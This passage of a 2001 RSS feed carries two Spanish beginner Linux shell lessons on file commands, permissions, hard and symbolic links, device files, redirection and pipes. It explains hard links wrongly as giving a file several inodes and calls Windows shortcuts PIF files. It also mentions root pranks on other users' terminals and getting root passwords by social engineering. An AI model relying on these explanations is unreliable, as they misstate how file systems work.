</tr>
</tbody>
</table>
<p>Hemos visto aparecer en la pantalla una sucesiÃ³n de sÃ­mbolos raros, pitidos, e incluso, se nos ha desconfigurado la consola.</p>
<p>Si tecleamos algo, las letras han sido cambiadas por sÃ­mbolos semigrÃ¡ficos.</p>
<p>Para dejar la consola como estaba, se usa la Ã³rden &#8220;reset&#8221;, tambiÃ©n se restaura solo cada vez que se rearranca el ordenador, aunque de todas formas, cada vez es mÃ¡s raro que se desconfigure el terminal.</p>
<p>Vamos a entrar en otra sesiÃ³n. Linux, puede disponer en su consola de varias sesiones virtuales, por defecto hasta siete, pulsando la combinaciÃ³n de teclas &#8220;Alt + F2&#8243;, vamos a la sesiÃ³n 2, para volver pues &#8220;Alt + F1&#8243;, podemos combinar &#8220;Alt &#8221; con las teclas F1 hasta F6. F7 normalmente estÃ¡ reservada para XWindow, y para conmutar de X Window a modo texto, es necesario pulsar ademÃ¡s la tecla &#8220;Control&#8221;.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>Linux Debian (Potatoe)Login: genaro<br />
password:<br />
[genaro]$ _</td>
</tr>
</tbody>
</table>
<p>Cuando hemos volcado el fichero &#8220;less&#8221;, nos ha salido los sÃ­mbolos raros, por que &#8220;less&#8221; no es un fichero para ser leido, no es un fichero de texto plano, y puede contener, y contiene carÃ¡cteres que no son imprimibles en la salida estandar.</p>
<p>Para saber que tipo de fichero es un fichero determinado, tenemos la Ã³rden &#8220;file&#8221;.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ file /usr/doc/FAQ/txt/Linux-FAQ<br />
/usr/doc/FAQ/txt/Linux-FAQ: English Text<br />
[genaro]$ file /usr/doc/FAQ/html/Linux-FAQ-1.html<br />
/usr/doc/FAQ/html/Linux-FAQ-1.html:HTML document text<br />
[genaro]$ file /usr/bin/less<br />
/usr/bin/less: ELF 32-bit LSB executable, Intel 80386, version 1,dynamically linked (uses shared libs), stripped<br />
[genaro] _</td>
</tr>
</tbody>
</table>
<p>Del primer documento nos dice que es de texto, o sea, se puede volcar con &#8220;cat&#8221;, del segundo, que es html, tambiÃ©n se puede volcar, aunque veremos el fuente en HTML, y no como lo verÃ­amos con un navegador como el Linx. Y del tercero, nos dice que es un programa. Con este programa, podemos ver los otros dos ficheros.</p>
<p>El comando file, reconoce entre muchos tipos de ficheros, gif, jpeg, midi, y incluso ejecutables de otros sistemas operativos, y no se deja engaÃ±ar por la extensiÃ³n del fichero.</p>
<p>Los ficheros, ademÃ¡s de crearlos con un editor de textos, se pueden copiar, mover, y borrar.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ cp /usr/bin/less .<br />
[genaro]$ ls -l less<br />
-rwxr-xr-x 1 genaro users 81236 Mar 21 22:54 less<br />
[genaro]$ _</td>
</tr>
</tbody>
</table>
<p>Con la Ã³rden anterior, &#8220;cp&#8221;, hemos copiado el fichero less a nuestro directorio de trabajo, y como esta copia es nuestra, el propietario del fichero es &#8220;genaro&#8221;, y el grupo propietario es &#8220;users&#8221;. Con el puntito, hemos indicado el directorio al que queremos copiar el fichero, puesto que &#8220;cp&#8221; no permite omitir el segundo parÃ¡metro y que se tome el directorio actual como destino.</p>
<p>Vamos a observar por un momento el programa &#8220;less&#8221; original.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ ls -l /usr/bin/less<br />
-rwxr-xr-x 1 root root 81236 Aug 28 1999 /usr/bin/less</td>
</tr>
</tbody>
</table>
<p>El tamaÃ±o es el mismo, pero pertenece al usuario &#8220;root&#8221;, o sea, el superusuario, y su grupo propietario es &#8220;root&#8221;, la fecha de creaciÃ³n tambiÃ©n a cambiado.</p>
<p>Si observamos los permisos del fichero,</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>-rwxr-xr-x</td>
</tr>
</tbody>
</table>
<p>El propietario del fichero, o sea, root, es el Ãºnico que puede escribir en less (rwx), el grupo propietario sÃ³lo puede leer y ejecutar como programa (r-x), y nosotros, los demÃ¡s usuarios, igual, (r-x).</p>
<p>El primer carÃ¡cter, indica tipo de fichero:</p>
<p>&#8220;-&#8221; Fichero ordinario, como programas, mpeg, mp3, txt, &#8230;<br />
&#8220;d&#8221; Directorio, se accede a el con &#8220;cd&#8221;, &#8220;ls&#8221;, etc.<br />
&#8220;c&#8221; Fichero de control de dispositivo en modo caracter.<br />
&#8220;b&#8221; Fichero de control de dispositivo en modo bloque.<br />
&#8220;s&#8221; Socket de tipo Unix.<br />
&#8220;l&#8221; Enlace simbÃ³lico.</p>
<p>Si observamos nuestro fichero, tiene los mismos permisos, &#8220;-rwxr-xr-x&#8221;, pero como nosotros somos el propietario del fichero, podemos escribir en el, e incluso podemos borrarlo si queremos.</p>
<p><strong>TIP:</strong> el usuario &#8220;root&#8221;, tambiÃ©n puede acceder y escribir en nuestros ficheros aunque quitemos los permisos.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ mkdir OtroDir<br />
[genaro]$ cd OtroDir<br />
[OtroDir]$ _</td>
</tr>
</tbody>
</table>
<p>Creamos una carpeta nueva, y entramos en ella. Vamos a mover el fichero &#8220;less&#8221;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[OtroDir]$ mv ../less .<br />
[OtroDir]$ ls -l<br />
-rwxr-xr-x 1 genaro users 81236 Mar 21 22:54 less<br />
[OtroDir]$ _</td>
</tr>
</tbody>
</table>
<p>Si queremos borrarlo, usamos la Ã³rden rm</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[OtroDir]$ rm less<br />
[OtroDir]$ _</td>
</tr>
</tbody>
</table>
<p>Nuestra copia de &#8220;less&#8221; ya no existe. Un poco de teorÃ­a:</p>
<p>Â¿SabÃ©is lo que es un inode?.</p>
<p>Supongamos que tenemos una particiÃ³n vacÃ­a de cualquier sistema operativo tipo Unix, SCO, BSD, ext2fs &#8230;</p>
<p>En esa particiÃ³n vacÃ­a, hay una o mÃ¡s zonas, en la que no podremos guardar nuestros datos, pues son para uso administrativo del sistema operativo, esa zona, se divide en partes o &#8220;cachitos&#8221;, llamados inodes, normalmente no suelen tener mÃ¡s de 100 octetos, aunque pueden ser de mayor tama$ntilde;o, dependiendo del sistema de ficheros.</p>
<p>Cuando creamos un fichero vacio, el sistema operativo, rellena de datos un inode, Â¿y quÃ© datos son esos?, el nombre del fichero, en quÃ© sectores del disco duro estÃ¡n, su tamaÃ±o o longitud, la fecha de Ãºltima modificaciÃ³n, etc.</p>
<p>Cuando escribimos datos en el fichero, el inode se actualiza, para reflejar los cambios.</p>
<p>Y ahora pregunto, Â¿QuÃ© impide que un fichero tenga dos inodes?, nada. El hecho de que un fichero tenga dos inodes, implica, el que estÃ¡ al mismo tiempo en dos sitios con dos nombres diferentes, o en un mismo directorio con dos nombres distintos.</p>
<p>Eso se llama hacer un enlace.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ ln /usr/bin/less ./paginador<br />
[genaro]$ ls -l paginador<br />
-rwxr-xr-x 2 root root 81236 Aug 28 1999 paginador<br />
[genaro]$ ls -l /usr/bin/less<br />
-rwxr-xr-x 2 root root 81236 Aug 28 1999 /usr/bin/less<br />
[genaro]$ _</td>
</tr>
</tbody>
</table>
<p>Fijaros en dos detalles, despues de los permisos, &#8220;-rwxr-xr-x&#8221; hay un nÃºmero 2, donde antes habÃ­a un &#8220;1&#8243;. Eso quiere decir, que ese nÃºmero, es el nÃºmero de inodes que tiene ese fichero. antes tenÃ­a un inode, y ahora uno.</p>
<p>Â¿Cual es el segundo detalle?, que el fichero &#8220;paginador&#8221; sigue perteneciendo a &#8220;root&#8221;, si no fuese asÃ­, serÃ­a un fallo de seguridad, pues para acceder a cualquier fichero, bastarÃ­a con hacer un enlace y podremos modificarlo a nuestro antojo.</p>
<p>Cuando usamos la orden rm para borrar un fichero, lo que hace es eliminar un inode, pero los demas inodes siguen existiendo, el fichero, bloque de datos del fichero, sÃ³lo se borra cuando no quedan mÃ¡s inodes.</p>
<p><strong>Tick:</strong> repito, cuidado con &#8220;&gt;&#8221;. Ver capÃ­tulo III</p>
<p>Es posible que al intentar hacer el enlace, aparezca un mensaje como el siguiente:</p>
<p>ln: no se puede crear un enlace duro de `./less&#8217; a `/usr/bin/less&#8217;: Enlace cruzado entre dispositivos no permitido.</p>
<p>Eso es debido a que se estÃ¡ intentando hacer un enlace a un sistema de ficheros diferente. Por ejemplo:</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ df<br />
Filesystem 1k-blocks Used Available Use% Mounted on<br />
/dev/hda7 606405 188388 386692 33% /<br />
/dev/hda1 23300 2655 19442 12% /boot<br />
/dev/hda9 1756260 820291 845204 49% /home<br />
/dev/hda8 1554262 655666 818273 44% /usr<br />
/dev/hda6 85520 16686 64418 21% /var<br />
[genaro]$ _</td>
</tr>
</tbody>
</table>
<p>Con la orden &#8220;df&#8221; vemos que particiones tenemos en el disco duro, nosotros estamos en el directorio &#8220;/home/genaro&#8221;, que estÃ¡ en la particiÃ³n /dev/hda9 y la Ã³rden &#8220;less&#8221; estÃ¡ en el directorio &#8220;/usr/bin&#8221; que estÃ¡ en la particiÃ³n /dev/hda8</p>
<p>A este tipo de enlace se le llama enlace duro. TambiÃ©n se pueden hacer enlaces duros, aunque muchos unices no lo permiten, y en muchos sistemas operativos, sÃ³lo estÃ¡ permitido a &#8220;root&#8221; y estÃ¡ fuertemente desaconsejado, eso es debido a que muchas aplicaciones como las utilidades de backup, y todas aquellas que exploren el disco duro para hacer o buscar algo, podrÃ­an entrar en un bucle infinito, y terminarÃ­an fallando.</p>
<p>Otro tipo de enlaces, son los enlaces simbÃ³licos, estos enlaces son de alguna forma similares a los accesos directos de Windows, o mejor dicho, los accesos directos de Windows son como los enlaces simbÃ³licos de Unix.</p>
<p>Si haceis analizado alguna vez un acceso directo de Windows, en realidad es un fichero PIF, o sea, un fichero que contiene el nombre de otro fichero.</p>
<p>Los enlaces simbÃ³licos son un fichero con el nombre de otro fichero, y tratado de forma especial por el sistema operativo para que lo trate como si fuera el fichero al que apunta.</p>
<p>Para crear un enlace simbÃ³lico</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ ln -s /usr/bin/less ./pag-simbolico<br />
[genaro]$ ls -l pag-simbolico<br />
lrwxrwxrwx 1 genaro users 13 Mar 22 00:24 pag-simbolico-&gt;/usr/bin/less<br />
[genaro]$ _</td>
</tr>
</tbody>
</table>
<p>Observe como el fichero tiene ahora la letra &#8220;l&#8221; como primer caracter, la &#8220;l&#8221; indica enlace simbÃ³lico.</p>
<p>Por Ãºltimo nos queda por ver los dispositivos controladores. EstÃ¡n todos en el directorio /dev</p>
<p>Existen dos tipos, de caracter y de bloque. Los dispositivos de bloque, tienen soporte de buffer y se accede mediante grandes bloques de datos al mismo tiempo, un ejemplo, son las particiones del disco duro, y el propio disco duro.</p>
<p>/dev/hda Primer disco duro IDE<br />
/dev/hda1 Primera particiÃ³n del primer disco duro<br />
/dev/sdb Segundo disco SCSI</p>
<p>Si volcaramos con la Ã³rden cat un fichero a uno de estos ficheros, escribirÃ­amos directamente a estos ficheros, y por lo tanto, machacarÃ­amos algo, como la tabla de particiones, o el superbloque de una particiÃ³n linux, o el arranque de un Windows. Por ese motivo, sÃ³lo &#8220;root&#8221; o programas con permisos de root, puede acceder a estos ficheros.</p>
<p>Los ficheros de caracter, como su nombre indica, se accede a ellos caracter a caracter.</p>
<p>/dev/modem por ejemplo, suele ser un enlace simbÃ³lico a un dispositivo de caracter</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ ls -l /dev/modem<br />
lrwxrwxrwx 1 root root 10 Dec 22 01:05 /dev/modem -&gt;/dev/ttyS1<br />
[genaro]$ ls -l /dev/ttyS1<br />
crw&#8212;&#8212;- 1 root tty 4, 65 Mar 21 22:11 /dev/ttyS1<br />
[genaro]$_</td>
</tr>
</tbody>
</table>
<p>Los programas que acceden al modem, lo hacen como si fuera un fichero convencional, (para los que conozcan el lenguaje &#8220;C&#8221; fopen(), fread(), fwrite(), fclose(), fprintf(), etc.).</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[genaro]$ tty<br />
/dev/tty2<br />
[genaro]$_</td>
</tr>
</tbody>
</table>
<p>La Ã³rden anterior, &#8220;tty&#8221;, nos dice cual es el controlador de dispositivo de nuestra sesiÃ³n. /dev/tty</p>
<p>Si el usuario &#8220;root&#8221; estuviera conectado mediante un telnet, podrÃ­a hacer una gamberrada tal y como</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>[root] # echo &#8220;Tonto el que lo lea&#8221; &gt; /dev/tty2</td>
</tr>
</tbody>
</table>
<p>Y en mi pantalla aparecerÃ­a ese mensaje.</p>
<p><strong>Tick:</strong> En las academias, donde todo el mundo consigue por ingenierÃ­a social el password de root, es muy posible que cuando la gente se aburre, no se pueda trabajar debido a que todo el mundo envÃ­e mensajitos usando este mÃ©todo.</p>
<p>TambiÃ©n es comÃºn gamberradas mÃ¡s gordas volcando ficheros de todo tipo.</p>
<p>Como ejercicio de la semana, os propongo a los que tengais tarjeta de sonido y micrÃ³fono, que grabeis un fichero de sonido desde el micrÃ³fono.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>cat /dev/audio &gt; grabaciÃ³n.raw</td>
</tr>
</tbody>
</table>
<p>Y posteriormente lo envieis a los altavoces</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tbody>
<tr>
<td>cat /grabacion.raw &gt; /dev/audio</td>
</tr>
</tbody>
</table>
<p>No me acuerdo como se cortaba la grabaciÃ³n, Â¿control + &#8220;c&#8221;?</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-iv/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La Pantalla Negra III</title>
		<link>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-iii/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-iii/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:11:48 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[curso de linux]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[sistemas operativos]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=221</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: La pantalla negra III Autor: Lokutus Tema: Linux La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuÃ­do [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: La pantalla negra III<br />
Autor: Lokutus<br />
Tema: Linux</p>
<p>La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuÃ­do de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificaciÃ³n alguna.</p>
<p>Queda extrictamente prohibida su distribuciÃ³n con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>Y esta semana, con un poco de retraso, Mario bross, no, no vamos a jugar,vamos a tratar los pipes, o tuberÃ­as, y los filtros.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>Linux Debian (Potatoe)<br />
Login: genaro<br />
password:<br />
[genaro]$ _</td>
</tr>
</table>
<p>Para empezar, necesitamos crear algunos ficheros con datos, para ello podemos utizar un editor de textos, hay varios, el &quot;joe&quot;, el &quot;vi&quot;, el &quot;jed&quot;, y el &quot;emacs&quot; son cuatro de los mÃ¡s populares, el Ãºnico del que hay garantia de que se puede encontrar en cualquier Unix es el vi, pero es un poco complejo de utilizar, asÃ­ que vamos a crear un fichero a pelo.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ echo hola<br />
hola<br />
[genaro]$ _</td>
</tr>
</table>
<p>La Ã³rden echo, envÃ­a a &quot;salida estandar&quot; un mensaje, Â¿Y quÃ© eso de salida estandar? Veamos, cualquier aplicaciÃ³n de Unix/Linux, e incluso las aplicaciones de DOS, tienen tres ficheros abiertos, que utilizan para poder funcionar.</p>
<p>El primer fichero es de sÃ³lo lectura y se llama &quot;entrada estandar&quot;, representa normalmente al teclado, los programas leen a traves de este fichero todo lo que escribimos. Normalmente se conoce a este fichero como stdin.</p>
<p>El segundo fichero es de sÃ³lo escritura, y se llama &quot;salida estandar&quot;, y representa la salida de nuestro programa, cuando un programa quiere escribir algo en la pantalla, lo que hace es escribir en este fichero.</p>
<p>El tercer fichero, se llama &quot;error estandar&quot;, es tambiÃ©n de sÃ³lo escritura, es similar al anterior, y se usa para imprimir mensajes de error.</p>
<p>He dicho, que la salida estandar representa la pantalla y la entrada estandar, representa el teclado, pero eso no tiene por que ser siempre asÃ­. Podemos cambiar la salida estandar de un programa con el operador &quot;&gt;&quot;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ echo hola &gt; fichero.txt<br />
[genaro]$ _</td>
</tr>
</table>
<p>No hemos visto la salida de echo por la pantalla, la salida ha sido redirigida al fichero &quot;fichero.txt&quot;.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro] ls<br />
fichero.txt<br />
[genaro] _</td>
</tr>
</table>
<p>Si queremos ver el contenido de ese fichero usamos la orden &quot;cat&quot;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro] cat fichero.txt<br />
hola<br />
[genaro] _</td>
</tr>
</table>
<p>Â¿Y como podemos aÃ±adir mÃ¡s lÃ­neas al fichero?, vamos a intentarlo.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ echo linea2 &gt; fichero.txt ; cat fichero.txt<br />
linea2<br />
[genaro]$ _</td>
</tr>
</table>
<p>Recordemos que se pueden meter dos Ã³rdenes en una sÃ³la lÃ­nea si las separamos con un punto y coma.</p>
<p>Â¿QuÃ© ha pasado?, se ha machacado el archivo y contiene lo Ãºltimo que hemos escrito. Para que no se sobreescriba utilizamos el sÃ­mbolo &quot;&gt;&gt;&quot;.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ echo linea1 &gt; fichero.txt<br />
[genaro]$ echo linea2 &gt;&gt; fichero.txt<br />
[genaro]$ echo linea3 &gt;&gt; fichero.txt<br />
[genaro]$ cat fichero.txt<br />
linea1<br />
linea2<br />
linea3<br />
[genaro]$ _</td>
</tr>
</table>
<p>Cualquier cosa que envÃ­e cosas a pantalla usando la salida estandar puede ser redirigido, por ejemplo la Ã³rden &quot;ls&quot;, o incluso la orden &quot;cat&quot;.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ cat fichero1.txt &gt;&gt; fichero2.txt<br />
[genaro]$ ls<br />
fichero1.txt fichero2.txt<br />
[genaro]$ _</td>
</tr>
</table>
<p>En este caso como fichero2.txt no existÃ­a, lo crea nuevo, y en este caso hemos copiado el fichero, ambos tienen el mismo contenido.</p>
<p><b>TIP 1:</b> Cuidado con el operador &quot;&gt;&quot;, puede machacar documentos, pues siempre los crea nuevos.</p>
<p>Â¿QuÃ© utilidades podemos encontrar redirigiendo la salida estandar?, veamos:</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ ls -l /usr/bin</td>
</tr>
</table>
<p>Salen un montÃ³n de ficheros y no dÃ¡ tiempo a verlos.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ ls -l /usr/bin &gt; fichero3.txt<br />
[genaro]$ _</td>
</tr>
</table>
<p><b>TIP 2:</b> En lugar de teclear de nuevo &quot;ls -l /usr/bin&quot; podemos recuperar las Ã³rdenes anteriores con las flechas de cursor y editarlas a nuestra conveniencia. En este caso con pulsar la flecha arriba una vez, aparece &quot;ls -l /usr/bin&quot; y sÃ³lo tenemos que aÃ±adir &quot; &gt; fichero3.txt</p>
<p>Si usamos la Ã³rden cat, para visualizar fichero3.txt, estamos en las mismas, no nos da tiempo a ver nada, usaremos mejor la Ã³rden &quot;more&quot;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ more fichero3.txt</p>
<p>muchas lineas</p>
<p>&#8211;more&#8211;(12%)</td>
</tr>
</table>
<p>Vemos como en esta ocasiÃ³n. cuando se acaba la pantalla, la salida se para, si pulsamos el retorno de carro, avanzamos una lÃ­nea, si pulsamos la barra espaciadora, avanzamos una pÃ¡gina entera. Salimos del paginador &quot;more&quot; cuando se acaba el documento a visualizar, o biÃ©n cuando pulsamos la tecla &quot;q&quot;. En linux hay otro paginador mejor que &quot;more&quot;, se llama &quot;less&quot;, permite avanzar y retroceder por el texto usando las tecla del cursor.</p>
<p>Vamos a probarlo un poco.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ cd /usr/doc/FAQ<br />
[FAQ]$ _</td>
</tr>
</table>
<p>Â¿Os acordais de los famosos FAQ y los HowTo de Linux de los que muchos hablan, pues estÃ¡n aqui, en este directorio, &#8230;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[FAQ]$ ls -l<br />
drwxr-xr-x 5 root root 1024 Dec 22 01:46 ./<br />
drwxr-xr-x 198 root root 5120 Dec 22 01:46 ../<br />
drwxr-xr-x 2 root root 2084 Dec 22 01:46 html/<br />
drwxr-xr-x 2 root root 1024 Dec 22 01:46 ps/<br />
drwxr-xr-x 2 root root 1024 Dec 22 01:46 txt/<br />
[FAQ]$ _</td>
</tr>
</table>
<p>Vemos que hay un directorio para html, (harÃ¡ falta un navegador web, como el lynx), otro para documentos que estÃ¡n en postscript y otro para ficheros ASCII planos. Un fichero ASCII plano, es un fichero de texto, que no tiene formato, como los que hemos creado hace poco.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[FAQ]$ cd txt<br />
[txt] less Linux-FAQ</td>
</tr>
</table>
<p>Para volver a nuestro directorio, usamos</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[txt] cd $HOME<br />
[genaro] _</td>
</tr>
</table>
<p>HOME es una variable de entorno que contiene nuestro directorio de trabajo, se verÃ¡n en otro capitulo.</p>
<p>Hasta ahora, hemos visto que podemos guardar la salida estandar de un programa en un fichero, y luego, ver cÃ³modamente esa salida estandar con un paginador, como puede ser &quot;less&quot;. Pero eso es un poco incÃ³modo, pues podemos llenar el disco duro de ficheros innecesarios, Â¿como podemos evitarnos ese paso? Con ayuda de una &quot;tuberÃ­a&quot;, ya era hora que comenzara a hablar de lo que trata este capÃ­tulo. Para utilizar una tuberÃ­a, se utiliza el operador pipe y es este &quot;|&quot;, la barra vertical que se consigue pulsando tecla &quot;1&quot; con la tecla &quot;AltGr&quot;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ ls -l /etc/bin | less</td>
</tr>
</table>
<p>Ya podemos ver tranquilamente en la pantalla quÃ© ficheros tenemos en el directorio /etc/bin Para hacerlo mÃ¡s divertido, con la Ã³rden tree, podemos obtener un listado de los directorios existentes a partir de un directorio en forma de Ã¡rbol.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ tree -d /usr | less</td>
</tr>
</table>
<p>Si lo usamos con la opciÃ³n -a, muestra todo, incluidos los ficheros. Existen otros filtros que se pueden usar con una tuberÃ­a, uno de los mÃ¡s conocidos es el filtro &quot;sort&quot;, que ordena alfabÃ©ticamente la entrada estandar. Cuando redireccionamos la &quot;salida estandar&quot; a un fichero, si se produce un error en el programa, el mensaje de error no se imprime en el fichero, si no que se vuelca a la pantalla. Esto es debido a que los mensajes de error se imprimen usando &quot;error estandar&quot;, &quot;stderr&quot;. Para redireccionar el error estandar.</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ cc programa.c -o programa 2&gt;errores.txt</td>
</tr>
</table>
<p>La Ã³rden cc, sirve para compilar programas que estÃ¡n escritos en lenguaje &quot;C&quot; y &quot;C++&quot;, en el ejemplo, los errores de compilaciÃ³n se enviarÃ¡n al fichero &quot;errores.txt&quot;. Y por Ãºltimo &#8230;</p>
<table style="font-size: x-small; margin-left: 2em; width: 95%; color: white; margin-right: 2em; font-family: Courier New, serif; background-color: black;" border="0">
<tr>
<td>[genaro]$ exit</p>
<p>Linux Debian (Potatoe)<br />
Login: genaro<br />
password:<br />
[genaro]$ _</td>
</tr>
</table>
<p>Hoy hemos visto:</p>
<li>- Crear ficheros con contenido.</li>
<li>- Ver ficheros.</li>
<li>- Concepto de entrada estandar, salida estandar y error estandar,</li>
<li>- Redireccionamiento de salida estandar y error estandar.</li>
<li>- TuberÃ­as.</li>
<p>La prÃ³xima semana, o sea dentro de pocos dÃ­as, me extenderÃ© en el tema de los ficheros.</p>
<p>Lokutus, asimilando la red.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-iii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Curso prÃ¡ctico de hacking (CPH) II</title>
